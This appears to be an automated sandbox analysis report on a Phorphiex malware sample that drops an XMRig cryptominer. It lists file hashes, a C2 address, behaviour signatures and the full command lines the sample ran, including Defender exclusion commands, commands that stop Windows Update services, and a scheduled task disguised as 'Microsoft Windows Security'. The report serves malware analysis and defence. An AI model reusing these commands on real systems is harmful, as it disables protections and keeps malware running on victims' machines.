Analysis

  • max time kernel
    150s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2024, 10:34

General

  • Target

    0d047b7e3d8841a58253b9f32eb62c6c6aa735905839233edcd277ffb5246340.exe

  • Size

    10KB

  • MD5

    72625fba0f89548239c54f0bcd844728

  • SHA1

    d66ddeb0c770d1545637f7ddaad7afcd60182fbe

  • SHA256

    0d047b7e3d8841a58253b9f32eb62c6c6aa735905839233edcd277ffb5246340

  • SHA512

    a9d0052d51857730a05406edcf46e5179de2ebe42923f22a8d976809d0c66b89f319b81982a7aafa56d10abf912e654a5a3553061ffec385e04998a1782959d7

  • SSDEEP

    96:FyYucXlgwXzv3L+Ud9BDoiR+YyM4TtspKW0ffl2tsB1JxGEhBV2qh9C7tCEW8q+:FzuWgs7+MR+2itojtWJxThBVthuWV+

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.84

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 33 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3560
      • C:\Users\Admin\AppData\Local\Temp\0d047b7e3d8841a58253b9f32eb62c6c6aa735905839233edcd277ffb5246340.exe
        "C:\Users\Admin\AppData\Local\Temp\0d047b7e3d8841a58253b9f32eb62c6c6aa735905839233edcd277ffb5246340.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Users\Admin\AppData\Local\Temp\3991.scr
          "C:\Users\Admin\AppData\Local\Temp\3991.scr" /S
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2608
          • C:\Windows\sysppvrdnvs.exe
            C:\Windows\sysppvrdnvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3548
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:924
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4388
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4744
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3312
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1336
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4872
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4000
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2808
            • C:\Users\Admin\AppData\Local\Temp\1298527858.exe
              C:\Users\Admin\AppData\Local\Temp\1298527858.exe
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3644
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2948
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:1076
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1220
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:1488
                • C:\Users\Admin\AppData\Local\Temp\3028218919.exe
                  C:\Users\Admin\AppData\Local\Temp\3028218919.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1084
                • C:\Users\Admin\AppData\Local\Temp\935410287.exe
                  C:\Users\Admin\AppData\Local\Temp\935410287.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4216
                  • C:\Users\Admin\AppData\Local\Temp\3749036327.exe
                    C:\Users\Admin\AppData\Local\Temp\3749036327.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1560
                • C:\Users\Admin\AppData\Local\Temp\266511348.exe
                  C:\Users\Admin\AppData\Local\Temp\266511348.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:748
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1976
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:448
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1968
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:3764
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:5044
            • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
              "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
              1⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2668

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                    Filesize

                    3KB

                    MD5

                    fee026663fcb662152188784794028ee

                    SHA1

                    3c02a26a9cb16648fad85c6477b68ced3cb0cb45

                    SHA256

                    dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

                    SHA512

                    7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    18KB

                    MD5

                    65b5773affabda24954c978b58fea2a1

                    SHA1

                    f0cae94499d214e3b062a2fef4922631bc60e938

                    SHA256

                    639a58fc66f510219b6ec5b25ddad2ed374316d4103c2632d585c9b5d735c225

                    SHA512

                    683944553f5be0d53b0199deee94b248d96bfde3ae59d4222dbd6ef0d1557722a4510a3b23702627569b58d86bb554274c20bec1ee6e7cda407f9dec93081953

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    1KB

                    MD5

                    d95b08252ed624f6d91b46523f110f29

                    SHA1

                    17577997bc1fb5d3fbe59be84013165534415dc3

                    SHA256

                    342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02

                    SHA512

                    0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257

                  • C:\Users\Admin\AppData\Local\Temp\1298527858.exe

                    Filesize

                    8KB

                    MD5

                    cb8420e681f68db1bad5ed24e7b22114

                    SHA1

                    416fc65d538d3622f5ca71c667a11df88a927c31

                    SHA256

                    5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

                    SHA512

                    baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

                  • C:\Users\Admin\AppData\Local\Temp\137912847.exe

                    Filesize

                    108KB

                    MD5

                    1fcb78fb6cf9720e9d9494c42142d885

                    SHA1

                    fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

                    SHA256

                    84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

                    SHA512

                    cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

                  • C:\Users\Admin\AppData\Local\Temp\266511348.exe

                    Filesize

                    13KB

                    MD5

                    5a0d146f7a911e98da8cc3c6de8acabf

                    SHA1

                    4ec56b14a08c897a5e9e85f5545b6c976a0be3c1

                    SHA256

                    bf61e77b7c49ce3346a28d8bc084c210618ea6ec5f3cfa9ae8f4aa4d64e145f1

                    SHA512

                    6d1526a5f467535d51b7f9b3a7af2d54512526e2523e3048082277b83b6e1a1f0d7e3c617405898f240ae84a16163bc47886d8541a016b31c51dfadf9da713e1

                  • C:\Users\Admin\AppData\Local\Temp\3028218919.exe

                    Filesize

                    15KB

                    MD5

                    0c37ee292fec32dba0420e6c94224e28

                    SHA1

                    012cbdddaddab319a4b3ae2968b42950e929c46b

                    SHA256

                    981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

                    SHA512

                    2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

                  • C:\Users\Admin\AppData\Local\Temp\3749036327.exe

                    Filesize

                    5.6MB

                    MD5

                    13b26b2c7048a92d6a843c1302618fad

                    SHA1

                    89c2dfc01ac12ef2704c7669844ec69f1700c1ca

                    SHA256

                    1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

                    SHA512

                    d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

                  • C:\Users\Admin\AppData\Local\Temp\3991.scr

                    Filesize

                    83KB

                    MD5

                    06560b5e92d704395bc6dae58bc7e794

                    SHA1

                    fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

                    SHA256

                    9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

                    SHA512

                    b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

                  • C:\Users\Admin\AppData\Local\Temp\935410287.exe

                    Filesize

                    10KB

                    MD5

                    96509ab828867d81c1693b614b22f41d

                    SHA1

                    c5f82005dbda43cedd86708cc5fc3635a781a67e

                    SHA256

                    a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

                    SHA512

                    ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mxtrs1s.xy2.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • memory/1560-114-0x00007FF662FA0000-0x00007FF663537000-memory.dmp

                    Filesize

                    5.6MB

                  • memory/1976-99-0x000002882D560000-0x000002882D582000-memory.dmp

                    Filesize

                    136KB

                  • memory/2668-132-0x00007FF7ED440000-0x00007FF7ED9D7000-memory.dmp

                    Filesize

                    5.6MB

                  • memory/3644-72-0x0000000000B20000-0x0000000000B26000-memory.dmp

                    Filesize

                    24KB

                  • memory/3764-137-0x00007FF68B9C0000-0x00007FF68B9E9000-memory.dmp

                    Filesize

                    164KB

                  • memory/3764-135-0x00007FF68B9C0000-0x00007FF68B9E9000-memory.dmp

                    Filesize

                    164KB

                  • memory/4388-30-0x00000000060D0000-0x0000000006102000-memory.dmp

                    Filesize

                    200KB

                  • memory/4388-29-0x0000000005B30000-0x0000000005B7C000-memory.dmp

                    Filesize

                    304KB

                  • memory/4388-48-0x0000000007060000-0x000000000706E000-memory.dmp

                    Filesize

                    56KB

                  • memory/4388-49-0x0000000007070000-0x0000000007084000-memory.dmp

                    Filesize

                    80KB

                  • memory/4388-50-0x0000000007160000-0x000000000717A000-memory.dmp

                    Filesize

                    104KB

                  • memory/4388-51-0x0000000007140000-0x0000000007148000-memory.dmp

                    Filesize

                    32KB

                  • memory/4388-46-0x00000000070A0000-0x0000000007136000-memory.dmp

                    Filesize

                    600KB

                  • memory/4388-45-0x0000000006E90000-0x0000000006E9A000-memory.dmp

                    Filesize

                    40KB

                  • memory/4388-43-0x00000000074C0000-0x0000000007B3A000-memory.dmp

                    Filesize

                    6.5MB

                  • memory/4388-44-0x0000000006E40000-0x0000000006E5A000-memory.dmp

                    Filesize

                    104KB

                  • memory/4388-42-0x0000000006CF0000-0x0000000006D93000-memory.dmp

                    Filesize

                    652KB

                  • memory/4388-41-0x0000000006AC0000-0x0000000006ADE000-memory.dmp

                    Filesize

                    120KB

                  • memory/4388-31-0x000000006F7A0000-0x000000006F7EC000-memory.dmp

                    Filesize

                    304KB

                  • memory/4388-47-0x0000000007030000-0x0000000007041000-memory.dmp

                    Filesize

                    68KB

                  • memory/4388-28-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

                    Filesize

                    120KB

                  • memory/4388-27-0x00000000055F0000-0x0000000005944000-memory.dmp

                    Filesize

                    3.3MB

                  • memory/4388-17-0x0000000005480000-0x00000000054E6000-memory.dmp

                    Filesize

                    408KB

                  • memory/4388-16-0x0000000005410000-0x0000000005476000-memory.dmp

                    Filesize

                    408KB

                  • memory/4388-13-0x00000000021D0000-0x0000000002206000-memory.dmp

                    Filesize

                    216KB

                  • memory/4388-15-0x0000000004B30000-0x0000000004B52000-memory.dmp

                    Filesize

                    136KB

                  • memory/4388-14-0x0000000004DE0000-0x0000000005408000-memory.dmp

                    Filesize

                    6.2MB

                  • memory/5044-136-0x00007FF6C0F90000-0x00007FF6C177F000-memory.dmp

                    Filesize

                    7.9MB

                  • memory/5044-133-0x0000028C58DA0000-0x0000028C58DC0000-memory.dmp

                    Filesize

                    128KB

                  • memory/5044-138-0x00007FF6C0F90000-0x00007FF6C177F000-memory.dmp

                    Filesize

                    7.9MB

                  • memory/5044-140-0x00007FF6C0F90000-0x00007FF6C177F000-memory.dmp

                    Filesize

                    7.9MB

                  • memory/5044-142-0x00007FF6C0F90000-0x00007FF6C177F000-memory.dmp

                    Filesize

                    7.9MB